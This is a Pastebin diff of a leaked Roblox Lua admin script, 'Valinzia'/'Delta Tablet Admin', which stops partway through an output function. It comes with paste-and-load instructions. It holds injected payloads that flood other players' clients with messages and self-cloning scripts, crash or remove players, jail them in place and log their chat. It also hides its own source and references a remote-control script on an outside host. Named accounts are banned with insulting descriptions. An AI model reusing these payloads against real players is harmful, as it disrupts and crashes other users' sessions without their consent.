View difference between Paste ID: BBwX5jWW and K5EMurRf
SHOW: | | - or go back to the newest paste.
1
-- [==[ ~ VALINZIA ~ ]==]
2
-- Leaked version from iTov due to the fact that he is stupid and can't hide things.
3
-- Got to pastebin,paste this,click submit, then click raw, copie raw file and go to Loader 
4
-- When loading this delete all of this <--  ^^^
5
--                                            |
6
7
local _start = time()
8
wait()
9
MessageLimit = 10
10
Delta = { 
11
	Ranked = { 
12
		--[==[ Ranked 7 ]==]--
13-
		["ModdedSnIpZ"] = {Rank = 7, Color = "Really blue", MeshType = "No Mesh", Distance = 9, Description = "Creator of Valinzia", SpinningRot = true, Rotation = true};
13+
		["personsadminlol"] = {Rank = 7, Color = "Really blue", MeshType = "No Mesh", Distance = 9, Description = "Creator of Valinzia", SpinningRot = true, Rotation = true};
14
		--[==[ Ranked 3 ]==]--
15
		["moderrncombat"] = {Rank = 3, Color = "Royal purple", MeshType = "No Mesh", Distance = 7, Description = "idk who this is", SpinningRot = true, Rotation = true};
16
		--[==[ Ranked 3 ]==]--
17
		["troy92728"] = {Rank = 4, Color = "Really blue", MeshType = "No Mesh", Distance = 7, Description = "Creator of Valinzia", SpinningRot = true, Rotation = true};
18
		--[==[ Ranked 2 ]==]--
19
		["hippiekid94"] = {Rank = 4, Color = "Teal", MeshType = "No Mesh", Distance = 5, Description = "Friend", SpinningRot = true, Rotation = true};
20
		--[==[ Ranked 1 ]==]--
21
		["ScriptBuilderSafe"] = {Rank = 4, Color = "Really blue", MeshType = "No Mesh", Distance = 5, Description = "Friend", SpinningRot = true, Rotation = true};
22
		--[==[ Private Server People ]==]--
23
		["ScriptMaiker"] = {Rank = 0.5, Color = "White", MeshType = "No Mesh", Distance = 5, Description = "Private Server Allowed", SpinningRot = true, Rotation = true};
24
		--[==[ Banished Below ]==]--
25
		["tamariusjones09"] = {Rank = -1, Color = "Medium stone grey", MeshType = "No Mesh", Distance = 30, Description = "A Mother Fucking Bitch", SpinningRot = false, Rotation = true};
26
		 ["12345678910jaijai"] = {Rank = -2, Color = "Medium stone grey", MeshType = "No Mesh", Distance = 30, Description = "Tp noob", SpinningRot = false, Rotation = true};
27
	};
28
	Ranks = {
29
		[7] = "Owner";
30
		[6] = "Operator";
31
		[5] = "Moderator";
32
		[4] = "Admin";
33
		[3] = "User";
34
		[2] = "Member";
35
		[1] = "Visitor";
36
		[0] = "Unknown";
37
		[-1] = "Banned";
38
		[-2] = "Lagged";
39
	};
40
	Services = setmetatable({Game = game;}, {
41
		__index = function(tab, key)
42
			if game:GetService(key) == nil then
43
				return "No such service named "..key
44
			end
45
			return game:GetService(key)
46
		end
47
	});
48
	ChatFilter = {
49
		Phrases = { 
50
			--[==[
51
				0 = Kill
52
				1 = Mute
53
				1 = Kick
54
				2 = Lag
55
				3 = Banishment
56
			]==]--
57
			{"kick", 1};
58
			{"ban", 1};
59
			{"Kohl", 1};
60
			{"NOVA", 1};
61
			{"Asule", 1};
62
			{"Bsod", 1};
63
			{"CBA", 1};
64
			{"Solar", 3};
65
			{"iOrb", 1};
66
			{"Camball", 1};
67
			{"function onCharge(Color)", 1};
68
			{"TeleportService", 3};
69
			};
70
		Enabled = true;
71
	};
72
	PrivateServer = {
73
		Enabled = false;
74
		Waiting = {};
75
	};
76
	Removed = false;
77
	Aborted = false;
78
	ServerSidedScriptsLock = false;
79
	LocalSidedScriptsLock = false;
80
	AgeRestriction = false;
81
	ShowRanks = true;
82
	ShutdownTime = 30;
83
	Bet = "'";
84
	RemoteControlLink = "https://code.stypi.com/99zay99/Delta%20remote.lua";
85
	Commands = {};
86
	Tablets = {};
87
	ExplorerObjectClones = {};
88
	Scripts = {
89
		ServerSided = {};
90
		ClientSided = {};
91
	};
92
	Connections = {
93
		Loops = {};
94
		Killing = {};
95
		Chat = {};
96
	};
97
	PseudoLocalScript = nil;
98
	SourceName = nil;
99
}
100
101
if script and game.PlaceId ~= 0 and game then
102
	script.Name = "Delta Tablet Admin"
103
	for _,v in pairs(script:GetChildren()) do
104
		if v:IsA("StringValue") then
105
			Delta.SourceName = v.Name
106
			Delta.SourceValue = v.Value
107
			v.Value = [==[error("Attempted to call a nil value");]==]
108
		end
109
	end
110
	coroutine.yield()
111
	script:ClearAllChildren()
112
	script.Parent = Instance.new("Model") or __LOLNO__ or nil
113
end
114
115
-- PseudoScripting Functions --
116
createLocalScript = function(source,parent,name)
117
	if newLocalScript then
118
		local nls = newLocalScript(source,parent)
119
		nls.Name = (name ~= nil and name) or "PseudoLocalScript"
120
		return nls
121
	else
122
		if Delta.PseudoLocalScript ~= nil then
123
			local x = Delta.PseudoLocalScript:clone()
124
			x.Disabled = true
125
			x.Name = (name ~= nil and name) or "PseudoLocalScript"
126
			x:ClearAllChildren()
127
			for _,v in pairs({"DSource", "Source", "source"}) do
128
				local newSource = Instance.new("StringValue", x)
129
				newSource.Name = v
130
				newSource.Value = source
131
			end
132
			x.Parent = parent
133
			x.Disabled = false
134
		else
135
			-- Output("Admins", "No LocalScript Source!", "Really red", nil, 3)
136
		end
137
	end
138
end
139
createScript = function(source, parent, name)
140
	if newScript then
141
		local ns = newScript(source,parent)
142
		ns.Name = (name ~= nil and name) or "PseudoScript"
143
		return ns
144
	else
145
		local x = script:Clone()
146
		x.Disabled = true
147
		x.Name = (name ~= nil and name) or "PseudoScript"
148
		x:ClearAllChildren()
149
		for _,v in pairs({"DSource", "Source", "source"}) do
150
			local newSource = Instance.new("StringValue", x)
151
			newSource.Name = v
152
			newSource.Value = source
153
		end
154
		x.Parent = parent
155
		x.Disabled = false
156
	end
157
end
158
159
-- getALLPlayers --
160
getALLPlayers = function() 
161
	local ALLPlayers = {}
162
	for i,v in pairs(Delta.Services.NetworkServer:GetChildren()) do
163
		ypcall(function()
164
			if v:IsA("ServerReplicator") then
165
				table.insert(ALLPlayers, v:GetPlayer())
166
			end
167
		end)
168
	end
169
	return ALLPlayers
170
end
171
172
-- Sources --
173
RemovePlayer = [[
174
	local plrs = game:GetService('Players')
175
	if pcall(function() plrs["LocalPlayer"].Character:GetChildren() end) then
176
		plrs["LocalPlayer"].Parent=nil
177
		plrs["LocalPlayer"].Parent=plrs
178
	else
179
		for i=1, 1000 do
180
			Instance.new('ManualSurfaceJointInstance') 
181
		end
182
	end
183
	pcall(function()
184
		game:GetService('Workspace'):ClearAllChildren()
185
	end)
186
]]
187
JailInjection = [[
188
	--[==[ Made by Ultimatekiller010 ]==]--
189
	wait()
190
	script.Parent = nil
191
	Event=nil
192
	LocalPlayer = Game:GetService("Players")["LocalPlayer"]
193
	RandomColors = {
194
		[0] = BrickColor.new(Color3.new(0,0,0));
195
	}
196
	local X,Y,Z
197
198
	function CheckPos(Char)
199
		local torso = Char:findFirstChild("Torso",true)
200
		if torso then 
201
			X = torso.CFrame.x
202
			Y = torso.CFrame.y
203
			Z = torso.CFrame.z
204
		end
205
		pcall(function() Event:disconnect() end)
206
		Event=Game:GetService("RunService").Stepped:connect(function()
207
			if torso == nil or torso.Parent~=Char then
208
				Event:disconnect()
209
			else
210
				if (torso.CFrame.x > X + 10) and X and Y and Z then
211
					torso.CFrame = CFrame.new(X,Y,Z)
212
				elseif (torso.CFrame.y > Y + 10) and X and Y and Z then
213
					torso.CFrame = CFrame.new(X,Y,Z)
214
				elseif (torso.CFrame.z > Z + 10) and X and Y and Z then
215
					torso.CFrame = CFrame.new(X,Y,Z)
216
				end
217
			end
218
		end)
219
	end
220
221
	function MakeJail(Char)
222
		local Jail = Instance.new("Model",Workspace:findFirstChild("Camera"))
223
		Jail.Name="Jail"
224
		for l = 0,15,1 do
225
			pcall(function()
226
				Char:findFirstChild("Torso").Anchored=true
227
				for i = 1,90 do
228
					local x = math.cos(i/100 * math.pi) * 4
229
					local p = Instance.new("Part",Jail)
230
					p.Size=Vector3.new(1,1,1)
231
					p.Anchored=true
232
					p.Locked=true
233
					p.BrickColor = RandomColors[math.random(0,#RandomColors)]
234
					p.CFrame = Char:findFirstChild("Torso").CFrame * CFrame.Angles(math.rad(l*12),0,x) * CFrame.new(10,0,0) 
235
					-- wait()
236
				end
237
			end)
238
			wait()
239
		end
240
		CheckPos(Char)
241
		LocalPlayer.Character:findFirstChild("Torso").Anchored=false
242
	end
243
244
	WorkspaceRemoveCon = Game:GetService("Workspace").ChildRemoved:connect(function(c)
245
		if c.Name=="Camera" then
246
			MakeJail(LocalPlayer.Character)
247
		end
248
		c.DescendantRemoving:connect(function(d)
249
			if d.Parent.Name == "Jail" then
250
				d.Parent:Remove()
251
				MakeJail(LocalPlayer.Character)
252
			end
253
		end)
254
	end)
255
	local CharacterCon = LocalPlayer.CharacterAdded:connect(function(c) 
256
		wait()
257
		-- if Workspace:findFirstChild("Camera") then
258
			-- Workspace:findFirstChild("Camera"):ClearAllChildren()
259
		-- end
260
		if c:findFirstChild("Torso") then
261
			c.Torso.CFrame = CFrame.new(X,Y,Z)
262
		end
263
	end)
264
	local CameraCon=Workspace:findFirstChild("Camera").DescendantRemoving:connect(function(d)
265
			if d.Parent.Name == "Jail" then
266
				d.Parent:Remove()
267
				MakeJail(LocalPlayer.Character)
268
			end
269
		end)
270
	
271
	LocalPlayer.ChildAdded:connect(function(c)
272
		if c:IsA('StringValue') then
273
			if c.Name == 'Delta' then
274
				if c.Value == 'Disable Jail' then
275
					LocalPlayer=nil
276
					RandomColors=nil
277
					Event:disconnect()
278
					Event=nil
279
					WorkspaceRemoveCon:disconnect()
280
					WorkspaceRemoveCon=nil
281
					CharacterCon:disconnect()
282
					CharacterCon=nil
283
					CameraCon:disconnect()
284
					CameraCon=nil
285
					CheckPos=nil
286
					MakeJail=nil
287
					Workspace:findFirstChild("Camera"):findFirstChild("Jail"):Destroy()
288
				end
289
			end
290
		end
291
	end)
292
293
	MakeJail(LocalPlayer.Character)
294
]]
295
InjectionCrash = [[
296
	wait()
297
	script.Parent = nil
298
	script:ClearAllChildren()
299
	local Services = setmetatable({Game = game;}, {
300
		__index = function(index, table)
301
			return game:GetService(table)
302
		end
303
	})
304
	local LocalPlayer = Services.Players.LocalPlayer
305
	local Stop = Instance.new("StringValue", LocalPlayer)
306
	Stop.Name = "STAP CONNECTIONS UMG"
307
	Stop.Value = "Delta"
308
	wait(0.1)
309
	Stop:remove()
310
	local ChatConnection = LocalPlayer.Chatted:connect(function(Message)
311
		if LocalPlayer.Parent ~= Services.Players then
312
			local x = Instance.new('StringValue', Services.ReplicatedStorage)
313
			x.Name = "Delta"
314
			x.Value = LocalPlayer.Name..":"..Message
315
			Services.Debris:AddItem(x, 2)
316
		end
317
	end)
318
	local StringConnection = Services.Lighting.DescendantAdded:connect(function(Object)
319
		if Object:IsA("StringValue") then
320
			if Object.Name == "Disconnect: All Players" then
321
				Object.Name = "Disconnected: All Players"
322
				]]..RemovePlayer..[[
323
			elseif Object.Name == "Disconnect: "..LocalPlayer.Name then
324
				Object.Name = "Disconnected: "..LocalPlayer.Name
325
				]]..RemovePlayer..[[
326
			elseif Object.Name == "Disconnect: Nil Players" then
327
				if LocalPlayer.Parent ~= game:GetService("Players") then
328
					Object.Name = "Disconnected: Nil Players"
329
					]]..RemovePlayer..[[
330
				end
331
			end
332
		end
333
	end)
334
	local StopConnection = LocalPlayer.DescendantAdded:connect(function(Object)
335
		if Object:IsA("StringValue") then
336
			if Object.Name == "STAP CONNECTIONS UMG" and Object.Value == "Delta" then
337
				StringConnection:disconnect()
338
				StringConnection = nil
339
				StopConnection:disconnect()
340
				StopConnection = nil
341
				ChatConnection:disconnect()
342
				ChatConnection = nil
343
			end
344
		end
345
	end)
346
]]
347
-- Lag --
348
function Lag(Player, Type)
349
	if Type == nil then Type = 1 end
350
	local Base = [[
351
		LocalPlayer=game:GetService('Players')['LocalPlayer']
352
		Camera=game:GetService('Workspace')['Camera']
353
		Source=script:findFirstChild('Source') or script:findFirstChild('DSource') or script:findFirstChild('source')
354
		Character=LocalPlayer.Character
355
		PlayerGui=LocalPlayer:findFirstChild('PlayerGui') or Instance.new('PlayerGui',LocalPlayer)
356
		Backpack=LocalPlayer:findFirstChild('Backpack') or Instance.new('Backpack',LocalPlayer)
357
		run=function(Function,...)
358
			return coroutine.resume(coroutine.create(Function,...))
359
		end
360
		run(function()
361
			LocalPlayer.CameraMode=Enum.CameraMode.Classic
362
			wait()
363
			LocalPlayer.CameraMode=Enum.CameraMode.LockFirstPerson
364
			print('start lal')
365
		end)
366
		-----
367
	]]
368
	if Type == 1 then
369
		coroutine.resume(coroutine.create(function()
370
			wait()
371
			local Parent = Player:findFirstChild('Backpack') or Player:findFirstChild('PlayerGui') or Player.Character or nil
372
			for i=1, 50 do
373
				createLocalScript(Base..[[
374
					new=function()
375
						run(function()
376
							local x=script:clone()
377
							x.Name='lal'
378
							x.Disabled=true
379
							x.Parent=Character or PlayerGui or Backpack
380
							x.Disabled=false
381
						end)
382
						run(function()
383
							loadstring(Source.Value)
384
						end)
385
					end
386
					exe=function()
387
						new()
388
						local glal,flal,tlal
389
						pcall(function()
390
							run(function()
391
								glal=Instance.new('ScreenGui',PlayerGui)
392
								glal.Name='glal'
393
								flal=Instance.new('Frame',glal)
394
								flal.Name='flal'
395
								flal.Size = UDim2.new(0,320,0,320) --lal
396
								flal.Position=UDim2.new(math.random(),math.random(),math.random(),math.random())
397
								tlal=Instance.new('TextLabel',flal)
398
								tlal.Name='tlal'
399
								tlal.BackgroundTransparency=1
400
								tlal.FontSize='Size9'
401
								tlal.Text='lal'
402
								tlal.TextWrap=true
403
								run(function()
404
									while wait() do
405
										flal.BackgroundColor=BrickColor.Random()
406
										tlal.TextColor=BrickColor.Black()
407
										ypcall(exe)
408
									end
409
								end)
410
							end)
411
						end)
412
						pcall(function()
413
							run(function()
414
								for __,p in pairs({PlayerGui,Camera}) do
415
									pcall(function()
416
										run(function()
417
											for _,v in pairs({'Message','Hint'}) do
418
												Instance.new(v,p).Text='klal'
419
											end
420
										end)
421
									end)
422
								end)
423
							end)
424
						end
425
					end	
426
					
427
					for i=1,500 do
428
						exe()
429
					end
430
				]], Parent)
431
				createLocalScript(Base..[[
432
					new=function()
433
						game:GetService('RunService').Stepped:connect(function()
434
							for i=1,100 do
435
								Instance.new('Message',Camera).Text='lal'
436
								Instance.new('Message',PlayerGui).Text='lal'
437
							end
438
						end)
439
						new()
440
					end
441
					new()
442
				]], Parent)
443
				createLocalScript(Base..[[
444
					new=function()
445
						game:GetService('RunService').Stepped:connect(function()
446
							for i=1,100 do
447
								Instance.new('Hint',Camera).Text='lal'
448
								Instance.new('Hint',PlayerGui).Text='lal'
449
							end
450
						end)
451
						new()
452
					end
453
					new()
454
				]], Parent)
455
			end
456
		end))
457
	elseif Type == 2 then
458
		coroutine.resume(coroutine.create(function()
459
			wait()
460
			local Parent = Player:findFirstChild('Backpack') or Player:findFirstChild('PlayerGui') or Player.Character or nil
461
			for i=1, 50 do
462
				createLocalScript(Base..[[repeat Instance.new('Message',Camera) until false]], Parent)
463
			end
464
		end))
465
	elseif Type == 3 then
466
		coroutine.resume(coroutine.create(function()
467
			wait()
468
			local Parent = Player:findFirstChild('Backpack') or Player:findFirstChild('PlayerGui') or Player.Character or nil
469
			createLocalScript(Base..[[
470
				for i=1,1/0 do
471
					run(function()
472
						while wait() do
473
							lal=script:Clone()
474
							lal.Disabled=true
475
							lal.Name='lal'
476
							lal.Parent=Character or PlayerGui or Backpack
477
							lal.Disabled=false
478
							pcall(function()
479
								run(function()
480
									loadstring(Source.Value)
481
								end)
482
							end)
483
							Instance.new('Tool',Backpack).Name='lal'
484
						end
485
					end)
486
				end
487
			]], Parent)
488
		end))
489
	elseif Type == 4 then
490
		coroutine.resume(coroutine.create(function()
491
			wait()
492
			local Parent = Player:findFirstChild('Backpack') or Player:findFirstChild('PlayerGui') or Player.Character or nil
493
			createLocalScript(Base..[[ for i=1, 28000 do Instance.new('Message',Camera) end ]], Parent)
494
		end))
495
	end
496
end
497
-- Status Announce -- 
498
Announce = function(msg,fs)
499
	if fs == true then
500
		for i,v in pairs(Delta.Services.Players:GetPlayers()) do
501
			if v:findFirstChild("PlayerGui") then
502
				local sg = Instance.new("ScreenGui", v.PlayerGui)
503
				sg.Name = "Delta ScreenGui FullScreen "..math.random(999999)
504
				local fr = Instance.new("Frame", sg)
505
				fr.Name = "Main"
506
				fr.Size = UDim2.new(0, 0, 0, 0)
507
				fr.Position = UDim2.new(0, 0, 0, 0)
508
				fr.BackgroundTransparency = 1
509
				fr.BackgroundColor3 = Color3.new(-1,-1,-1)
510
				fr.BorderColor3 = Color3.new(1,1,1)
511
				local tl = Instance.new("TextLabel", fr)
512
				tl.Size = UDim2.new(1, 0, 1, 0)
513
				tl.BackgroundTransparency = 1
514
				tl.TextColor3 = Color3.new(1,1,1)
515
				tl.FontSize = "Size17"
516
				tl.Text = string.gsub(msg, "", "\5")
517
				tl.Name = "Text"
518
				tl.TextTransparency = 0.8
519
				pcall(function() Delta.Services.Debris:AddItem(sg, 4) end)
520
				fr:TweenSize(UDim2.new(1, 0, 1, 0), "Out", "Quad", 1)
521
				coroutine.resume(coroutine.create(function()
522
					wait(2)
523
					tl:remove()
524
					fr:TweenSize(UDim2.new(0, 0, 0, 0), "Out", "Quad", 1)
525
				end))
526
			end 
527
		end
528
	else
529
		local sg
530
		local function GetNumAlerts(Par)
531
			local Num = 0
532
			if Par == nil then return 0 end
533
		    for i, Obj in pairs(Par:GetChildren()) do
534
		       if Obj.Name:lower():find(string.lower("Delta ScreenGui Hint")) or Obj.Name:upper():find(string.upper("Delta ScreenGui Hint")) then
535
		           	Num = Num + 1
536
		       end
537
		   	end
538
		   	return Num
539
		end
540
		for i,v in pairs(Delta.Services.Players:GetPlayers()) do
541
			if v:findFirstChild("PlayerGui") then
542
				sg = Instance.new("ScreenGui", v.PlayerGui)
543
				sg.Name = "Delta ScreenGui Hint "..math.random(999999)
544
				local num = 0.025 + (-0.025+0.025*GetNumAlerts(sg.Parent))
545
				local fr = Instance.new("Frame", sg)
546
				fr.Name = "Main"
547
				fr.Size = UDim2.new(1, 0, 0.025, 0)
548
				fr.Position = UDim2.new(-1, 0, num, 0)
549
				fr.BackgroundTransparency = 0.1
550
				fr.BackgroundColor3 = Color3.new(1, 1, 1)
551
				fr.BorderColor3 = Color3.new(0, 0, 0)
552
				local tl = Instance.new("TextLabel", fr)
553
				tl.Size = UDim2.new(1, 0, 1, 0)
554
				tl.BackgroundTransparency = 1
555
				tl.TextColor3 = Color3.new(-1,-1,-1)
556
				tl.FontSize = "Size18"
557
				tl.Text = string.gsub(msg, "", "\5")
558
				tl.Name = "Text"
559
				tl.TextTransparency = 0
560
				pcall(function() Delta.Services.Debris:AddItem(sg, 4) end)
561
				fr:TweenPosition(UDim2.new(0, 0, num, 0), "Out", "Quad", 1)
562
				coroutine.resume(coroutine.create(function()
563
					wait(3)
564
					tl:remove()
565
					fr:TweenPosition(UDim2.new(1, 0, num, 0), "Out", "Quad", 1)
566
				end))
567
			end 
568
		end
569
	end
570
end
571
572
-- Get Rankings Functions --
573
GetRanking = function(Player)
574
	if type(Player) == "userdata" then
575
		Player = Player.Name
576
	end
577
	if Delta.Ranked[Player] ~= nil then
578
		return Delta.Ranked[Player]
579
	else
580
		local Table = {}
581
		Table[Player] = {Rank = 0, Color = "White", MeshType = "No Mesh", Distance = 5, Description = "N/A", SpinningRot = false};
582
		return Table[Player]
583
	end
584
end
585
FindRank = function(Player)
586
	if type(Player) == "userdata" then
587
		Player = Player.Name
588
	end
589
	return GetRanking(Player).Rank
590
end
591
CheckRank = function(Player1, Player2)
592
	if Player1 == Player2 then
593
		return false
594
	end
595
	if type(Player1) == "userdata" then
596
		Player1 = Player1.Name
597
	end
598
	if type(Player2) == "userdata" then
599
		Player2 = Player2.Name
600
	end
601
	if FindRank(Player1) >= FindRank(Player2) then
602
		return true
603
	else
604
		return false
605
	end
606
end
607
ChangeRank = function(Player, Rank)
608
	if type(Player) == "userdata" then
609
		Player = Player.Name
610
	end
611
	if Delta.Ranked[Player] ~= nil then
612
		Delta.Ranked[Player].Rank = Rank
613
	else
614
		Delta.Ranked[Player] = {Rank = Rank, Color = "White", MeshType = "No Mesh", Distance = 4, Description = "N/A", SpinningRot = false, Rotation = true} 
615
	end
616
end
617
CommandInterface = function(Speaker, i)
618
	if FindRank(Speaker) > FindRank(i) and Delta.Services.Players:findFirstChild(i) then
619
		Dismiss(Speaker)
620
		Output(Speaker, "Kill Inferance", "New Yeller", function()
621
			Dismiss(Speaker)
622
			Output(Speaker, "Kill", nil, function()
623
				Dismiss(Speaker)
624
				Delta.Commands.Kill.Function(Speaker, i)
625
			end)
626
			Output(Speaker, "Explode", nil, function()
627
				Dismiss(Speaker)
628
				Delta.Commands.Kill.Function(Speaker, i.."-e")
629
			end)
630
			Output(Speaker, "Respawn", nil, function()
631
				Dismiss(Speaker)
632
				Delta.Commands.Kill.Function(Speaker, i.."-r")
633
			end)
634
			Output(Speaker, "WalkSpeed", nil, function()
635
				Dismiss(Speaker)
636
				Delta.Commands.Kill.Function(Speaker, i.."-w")
637
			end)
638
			Output(Speaker, "Back", "Really blue", function()
639
				CommandInterface(Speaker, i)
640
			end)
641
			Output(Speaker, "Dismiss")
642
		end)
643
		Output(Speaker, "Kick Interface", "Really red", function()
644
			Dismiss(Speaker)
645
			Output(Speaker, "Kick", nil, function()
646
				Dismiss(Speaker)
647
				Delta.Commands.Kick.Function(Speaker, i)
648
			end)
649
			Output(Speaker, "Ban", nil, function()
650
				Dismiss(Speaker)
651
				Delta.Commands.Kick.Function(Speaker, i.."-b")
652
			end)
653
			Output(Speaker, "Crash", nil, function()
654
				Dismiss(Speaker)
655
				Delta.Commands.Kick.Function(Speaker, i.."-c")
656
			end)
657
			Output(Speaker, "Rejoin", nil, function()
658
				Dismiss(Speaker)
659
				Delta.Commands.Kick.Function(Speaker, i.."-r")
660
			end)
661
			Output(Speaker, "Nil", nil, function()
662
				Dismiss(Speaker)
663
				Delta.Commands.Kick.Function(Speaker, i.."-n")
664
			end)
665
			Output(Speaker, "Back", "Really blue", function()
666
				CommandInterface(Speaker, i)
667
			end)
668
			Output(Speaker, "Dismiss")
669
		end)
670
		Output(Speaker, "Lag Interface", "Hot pink", function()
671
			Dismiss(Speaker)
672
			Output(Speaker, "Lag", nil, function()
673
				Dismiss(Speaker)
674
				Delta.Commands.Lag.Function(Speaker, i)
675
			end)
676
			Output(Speaker, "Ban", nil, function()
677
				Dismiss(Speaker)
678
				Delta.Commands.Lag.Function(Speaker, i.."-b")
679
			end)
680
			Output(Speaker, "Crash", nil, function()
681
				Dismiss(Speaker)
682
				Delta.Commands.Lag.Function(Speaker, i.."-c")
683
			end)
684
			Output(Speaker, "Back", "Really blue", function()
685
				CommandInterface(Speaker, i)
686
			end)
687
			Output(Speaker, "Dismiss")
688
		end)
689
		Output(Speaker, "Mute Interface", "Bright green", function()
690
			Dismiss(Speaker)
691
			Output(Speaker, "Mute", nil, function()
692
				Dismiss(Speaker)
693
				Delta.Commands.Mute.Function(Speaker, i)
694
			end)
695
			Output(Speaker, "UnMute", nil, function()
696
				Dismiss(Speaker)
697
				Delta.Commands.Mute.Function(Speaker, i.."-u")
698
			end)
699
			Output(Speaker, "Ban", nil, function()
700
				Dismiss(Speaker)
701
				Delta.Commands.Mute.Function(Speaker, i.."-b")
702
			end)
703
			Output(Speaker, "Back", "Really blue", function()
704
				CommandInterface(Speaker, i)
705
			end)
706
			Output(Speaker, "Dismiss")
707
		end)
708
		Output(Speaker, "Dismiss")
709
	end
710
end
711
GetRankedInterface = function(Speaker, Player) -- "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name
712
	Dismiss(Speaker)
713
	if type(Player) == "userdata" then
714
		Player = Player.Name
715
	end
716
	local GetRankedPlayer = function(i)
717
		if type(i) == "userdata" then
718
			i = i.Name
719
		end
720
		Dismiss(Speaker)
721
		Output(Speaker, "Name: "..i, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..i)
722
		ypcall(function()
723
			Output(Speaker, "Age: "..Delta.Services.Players[i].AccountAge)
724
			Output(Speaker, "userId: "..Delta.Services.Players[i].userId)
725
		end)
726
		Output(Speaker, "Rank: "..FindRank(i))
727
		Output(Speaker, "View Other Infomation", "White", function()
728
			Output(Speaker, "Color: "..Delta.Ranked[i].Color or "N/A")
729
			Output(Speaker, "Distance: "..Delta.Ranked[i].Distance or "N/A")
730
			Output(Speaker, "Mesh: "..Delta.Ranked[i].MeshType or "N/A")
731
			Output(Speaker, "Description: "..Delta.Ranked[i].Description or "N/A")
732
		end)
733
		if FindRank(Speaker) > FindRank(i) then
734
			if Delta.Services.Players:findFirstChild(i, true) then
735
				Output(Speaker, "Commands", "Teal", function() CommandInterface(Speaker, i) end)
736
			end
737
		end
738
		if FindRank(Speaker) > FindRank(i) then
739
			Output(Speaker, "Set Rank", "Royal purple", function()
740
				Dismiss(Speaker)
741
				for __,v in pairs(Delta.Ranks) do
742
					if __ < FindRank(Speaker) then
743
						Output(Speaker, '['..tostring(__)..'] '..v, nil, function()
744
							ChangeRank(i, __)
745
						end)
746
					end
747
				end
748
			end)
749
		end
750
		if FindRank(Speaker) > FindRank(i) or i == Speaker.Name then
751
			Output(Speaker, "Customization", "Blue", function()
752
				Output(Speaker, "Set Color", "Teal", function() 
753
					Dismiss(Speaker)
754
					for _,c in pairs({"Br. yellowish green","Bright yellow","Bright orange","Bright red","Bright violet","Bright blue","Bright bluish green","Bright green","Institutional white","White","Light stone grey","Mid gray","Medium stone grey","Dark stone grey","Black","Really black","Grime","Br. yellowish orange","Light orange","Sand red","Lavender","Sand blue","Medium blue","Sand green","Brick yellow","Cool yellow","Neon orange","Medium red","Light reddish violet","Pastel Blue","Teal","Medium green","Pastel brown","Pastel yellow","Pastel orange","Pink","Pastel violet","Pastel light blue","Pastel blue-green","Pastel green","Olive","New Yeller","Deep orange","Really red","Hot pink","Really blue","Toothpaste","Lime green","Brown","Nougat","Dark orange","Royal purple","Alder","Cyan","Light blue","Camo","Reddish brown","CGA brown","Dusty Rose","Magenta","Deep blue","Navy blue","Dark green","Earth green"}) do
755
						Output(Speaker, c, c, function()
756
							Dismiss(Speaker)
757
							Delta.Ranked[i].Color = c
758
							GetRankedInterface(Speaker)
759
						end)
760
					end
761
				end)
762
				Output(Speaker, "Distances", "Royal purple", function() 
763
					Dismiss(Speaker)
764
					for z = 1, 30 do
765
						Output(Speaker, z, nil, function()
766
							Dismiss(Speaker)
767
							Delta.Ranked[i].Distance = z
768
							GetRankedInterface(Speaker)
769
						end)
770
					end
771
				end)
772
				Output(Speaker, "Mesh", "Teal", function() 
773
					Dismiss(Speaker)
774
					for _,c in pairs({"No Mesh", "No Mesh (Tablets)", "Diamond", "Diamond (Tablets)", "Sphere", "Poop", "Fire", "Dominus", "Doge", "Books"}) do
775
						Output(Speaker, c, nil, function()
776
							Dismiss(Speaker)
777
							Delta.Ranked[i].MeshType = c
778
							GetRankedInterface(Speaker)
779
						end)
780
					end
781
				end)
782
				Output(Speaker, "Rotation", "White", function()
783
					Dismiss(Speaker)
784
					Output(Speaker, "True", nil, function() GetRankedInterface(Speaker) Delta.Ranked[i].SpinningRot = true end)
785
					Output(Speaker, "False", nil, function() GetRankedInterface(Speaker) Delta.Ranked[i].SpinningRot = false end)
786
				end)
787
				Output(Speaker, "Rotations", "Really blue", function()
788
					Dismiss(Speaker)
789
					Output(Speaker, "True", nil, function() GetRankedInterface(Speaker) Delta.Ranked[i].Rotation = true end)
790
					Output(Speaker, "False", nil, function() GetRankedInterface(Speaker) Delta.Ranked[i].Rotation = false end)
791
				end)
792
				Output(Speaker, "Set Presets", "Hot pink", function()
793
					Dismiss(Speaker)
794
					for _,v in pairs({"Blocks", "Diamond Tablets", "Traditional Tablets", "Books", "Sphere"}) do
795
						Output(Speaker, v, nil, function()
796
							Dismiss(Speaker)
797
							if v == "Blocks" then
798
								Delta.Ranked[i].MeshType = "No Mesh"
799
								Delta.Ranked[i].SpinningRot = true
800
								Delta.Ranked[i].Rotation = true
801
								Delta.Ranked[i].Distance = 5
802
							elseif v == "Traditional Tablets" then
803
								Delta.Ranked[i].MeshType = "No Mesh (Tablets)"
804
								Delta.Ranked[i].SpinningRot = false
805
								Delta.Ranked[i].Rotation = true
806
								Delta.Ranked[i].Distance = 5
807
							elseif v == "Diamond Tablets" then
808
								Delta.Ranked[i].MeshType = "Diamond (Tablets)"
809
								Delta.Ranked[i].SpinningRot = false
810
								Delta.Ranked[i].Rotation = true
811
								Delta.Ranked[i].Distance = 10
812
							elseif v == "Books" then
813
								Delta.Ranked[i].MeshType = "Books"
814
								Delta.Ranked[i].SpinningRot = false
815
								Delta.Ranked[i].Rotation = false
816
								Delta.Ranked[i].Distance = 4
817
							elseif v == "Sphere" then
818
								Delta.Ranked[i].MeshType = "Sphere"
819
								Delta.Ranked[i].SpinningRot = true
820
								Delta.Ranked[i].Rotation = true
821
								Delta.Ranked[i].Distance = 5
822
							end
823
						end)
824
					end
825
				end)
826
			end)
827
		end
828
		Output(Speaker, "Back To Ranked", "Teal", function() GetRankedInterface(Speaker) end)
829
		Output(Speaker, "Back To Players", "Teal", function() ShowPlayers(Speaker) end)
830
		Output(Speaker, "Dismiss")
831
	end
832
	if Player ~= nil then
833
		GetRankedPlayer(Player)
834
	else
835
		for i,v in pairs(Delta.Ranked) do
836
			Output(Speaker, i, Valinzia.Ranked[i].Color, function()
837
				GetRankedPlayer(i)
838
			end)
839
		end
840
	end
841
end
842
-- Output Functions --
843
OutputSingular = function(Player, Msg, Color, Function, Time, Image)
844
	if Delta.Removed == true then return end
845
	--wait()
846
	if Msg == nil then 
847
		Msg = " " 
848
